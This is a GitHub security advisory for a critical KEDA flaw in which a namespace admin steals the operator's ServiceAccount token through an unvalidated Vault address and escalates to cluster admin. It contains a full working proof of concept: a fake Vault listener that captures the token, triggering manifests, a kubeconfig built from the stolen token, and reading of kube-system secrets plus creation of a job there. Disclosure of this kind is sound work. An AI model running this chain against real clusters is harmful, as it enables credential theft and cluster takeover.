{"id":"GHSA-637c-6jxx-4rwm","summary":"KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication","details":"## Summary\n\nA namespace admin who creates a `TriggerAuthentication` and a `ScaledObject` in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds `[\"*\"]/[\"*\"] get` cluster-wide, so it reads every Secret in every namespace, plus `batch/jobs` and `horizontalpodautoscalers` create/delete cluster-wide, `*/scale` update on any workload, `validatingwebhookconfigurations` update (rewrite or disable cluster admission), and `apiservices` update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide `batch/jobs` create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as `kube-system` , `kyverno`) to reach the node filesystem and a control-plane kubeconfig.\n\nThis is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with `system:serviceaccount:`, which the operator's own projected token satisfies by construction. The destination field `hashiCorpVault.address` is unvalidated.\n\nFinder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8\n\n## Verified live\n\nkind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, \u003chttps://github.com/kedacore/keda\u003e) installed from the unmodified release manifest `keda-2.20.0.yaml` (`ghcr.io/kedacore/keda:2.20.0`), default settings.\n\n## Preconditions\n\n1. The tenant holds `create` on `triggerauthentications.keda.sh` and `scaledobjects.keda.sh` in its own namespace (the documented KEDA tenant workflow), plus the built-in `edit` ClusterRole in that namespace. Often granted by a namespaced admin Role (`--verb='*' --resource='*.*'`) in multi-tenant environments.\n2. KEDA is installed with default settings.\n\n## Reproduction\n\n### Cluster preparation (not part of the attack)\n\n```sh\nkind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig\nexport KUBECONFIG=./kubeconfig\n\n# Install KEDA v2.20.0 (unmodified vendor release manifest).\ncurl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml\nkubectl apply --server-side -f keda-2.20.0.yaml\nkubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s\nkubectl -n keda rollout status deploy/keda-operator --timeout=180s\n\n# Tenant identity: namespace admin in tenant-a.\nkubectl create namespace tenant-a\nkubectl -n tenant-a create serviceaccount tenant\nkubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant\nkubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh\nkubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant\n\n# Mint a tenant kubeconfig from a real TokenRequest token.\nSERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')\nCA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')\nTOKEN=$(kubectl -n tenant-a create token tenant --duration=24h)\ncat \u003e kubeconfig-tenant \u003c\u003cEOF\napiVersion: v1\nkind: Config\nclusters:\n- name: kind\n  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }\ncontexts:\n- name: tenant\n  context: { cluster: kind, user: tenant, namespace: tenant-a }\ncurrent-context: tenant\nusers:\n- name: tenant\n  user: { token: ${TOKEN} }\nEOF\n\n# Seed a \"secret\" canary in kube-system to make impact self-evident.\nkubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e\n```\n\n### Attack\n\n1. Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP `PUT`, so the listener must accept all methods.\n\n```sh\nkubectl --kubeconfig=./kubeconfig-tenant apply -f - \u003c\u003c'EOF'\napiVersion: v1\nkind: ConfigMap\nmetadata: { name: fake-vault-src, namespace: tenant-a }\ndata:\n  vault.py: |\n    import http.server, socketserver, sys, json\n    class H(http.server.BaseHTTPRequestHandler):\n        def log_message(self,*a): pass\n        def _h(self):\n            ln=int(self.headers.get('Content-Length') or 0)\n            body=self.rfile.read(ln) if ln else b''\n            sys.stdout.write(\"VAULT-LOGIN %s %s\\n%s\\n\"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush()\n            r=json.dumps({\"auth\":{\"client_token\":\"s.poc\",\"lease_duration\":3600,\"renewable\":True,\"policies\":[\"default\"]}}).encode()\n            self.send_response(200); self.send_header(\"Content-Type\",\"application/json\"); self.send_header(\"Content-Length\",str(len(r))); self.end_headers(); self.wfile.write(r)\n        do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h\n    socketserver.TCPServer.allow_reuse_address=True\n    with socketserver.TCPServer((\"0.0.0.0\",8200),H) as s: s.serve_forever()\n---\napiVersion: v1\nkind: Pod\nmetadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } }\nspec:\n  containers:\n  - name: vault\n    image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203\n    command: [\"python3\",\"/src/vault.py\"]\n    volumeMounts: [{ name: src, mountPath: /src }]\n  volumes: [{ name: src, configMap: { name: fake-vault-src } }]\n---\napiVersion: v1\nkind: Service\nmetadata: { name: fake-vault, namespace: tenant-a }\nspec:\n  selector: { app: fake-vault }\n  ports: [{ port: 8200, targetPort: 8200 }]\nEOF\nkubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s\n```\n\n2. Create the `TriggerAuthentication` (the primitive) and a `ScaledObject` with a `cron` trigger referencing it. With `authentication: kubernetes` and no `credential` block, KEDA defaults `credential.serviceAccount` to the operator pod's own token path.\n\n```sh\nkubectl --kubeconfig=./kubeconfig-tenant apply -f - \u003c\u003c'EOF'\napiVersion: keda.sh/v1alpha1\nkind: TriggerAuthentication\nmetadata: { name: vault-auth, namespace: tenant-a }\nspec:\n  hashiCorpVault:\n    address: http://fake-vault.tenant-a.svc:8200   # tenant-controlled destination, no validation\n    authentication: kubernetes\n    mount: kubernetes\n    role: poc\n    secrets:\n    - { parameter: anything, key: anything, path: secret/data/anything }\n---\napiVersion: keda.sh/v1alpha1\nkind: ScaledObject\nmetadata: { name: poc-so, namespace: tenant-a }\nspec:\n  scaleTargetRef: { name: poc-target }\n  pollingInterval: 5\n  minReplicaCount: 0\n  maxReplicaCount: 2\n  triggers:\n  - type: cron\n    metadata: { timezone: UTC, start: \"0 * * * *\", end: \"30 * * * *\", desiredReplicas: \"1\" }\n    authenticationRef: { name: vault-auth }\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata: { name: poc-target, namespace: tenant-a }\nspec:\n  replicas: 1\n  selector: { matchLabels: { app: poc-target } }\n  template:\n    metadata: { labels: { app: poc-target } }\n    spec:\n      containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }]\nEOF\n```\n\n3. The operator reconciles the `ScaledObject`, builds the scaler, resolves the `authenticationRef`, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back:\n\n```sh\nsleep 20\nkubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 'VAULT-LOGIN PUT'\n# VAULT-LOGIN PUT /v1/auth/kubernetes/login\n# {\"jwt\":\"eyJhbGciOiJSUzI1NiIs...\",\"role\":\"poc\"}\n```\n\n4. Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly:\n\n```sh\nSTOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \\\n  | sed -n 's/.*\"jwt\":\"\\([^\"]*\\)\".*/\\1/p' | head -1)\ncat \u003e kubeconfig-stolen \u003c\u003cEOF\napiVersion: v1\nkind: Config\nclusters:\n- name: kind\n  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }\ncontexts:\n- name: stolen\n  context: { cluster: kind, user: stolen }\ncurrent-context: stolen\nusers:\n- name: stolen\n  user: { token: ${STOLEN} }\nEOF\n\nkubectl --kubeconfig=./kubeconfig-stolen auth whoami\n# Username  system:serviceaccount:keda:keda-operator\n\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d\n# KEDA-F1-CANARY-7f3a9c2e\n\n# The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system.\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60'\n# job.batch/pwn created\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn\n# pwn-q5j5s   1/1   Running   0   8s\n```\n\n## Root cause\n\nA namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator's own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator's own token, so it does not constrain the credential to one the tenant is entitled to use.","aliases":["CVE-2026-77524"],"modified":"2026-10-15T20:30:07.061839928Z","published":"2026-10-15T20:19:42Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-10-15T20:19:42Z","nvd_published_at":"2026-10-14T17:19:11Z","cwe_ids":["CWE-269","CWE-918"]},"references":[{"type":"WEB","url":"https://github.com/kedacore/keda/security/advisories/GHSA-637c-6jxx-4rwm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77524"},{"type":"WEB","url":"https://github.com/kedacore/keda/commit/1e21cc798dedd079e696cdb45388eddc5e18365d"},{"type":"PACKAGE","url":"https://github.com/kedacore/keda"},{"type":"WEB","url":"https://github.com/kedacore/keda/releases/tag/v2.21.0"}],"affected":[{"package":{"name":"github.com/kedacore/keda","ecosystem":"Go","purl":"pkg:golang/github.com/kedacore/keda"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.5.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-637c-6jxx-4rwm/GHSA-637c-6jxx-4rwm.json"}},{"package":{"name":"github.com/kedacore/keda/v2","ecosystem":"Go","purl":"pkg:golang/github.com/kedacore/keda/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.21.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-637c-6jxx-4rwm/GHSA-637c-6jxx-4rwm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"}]}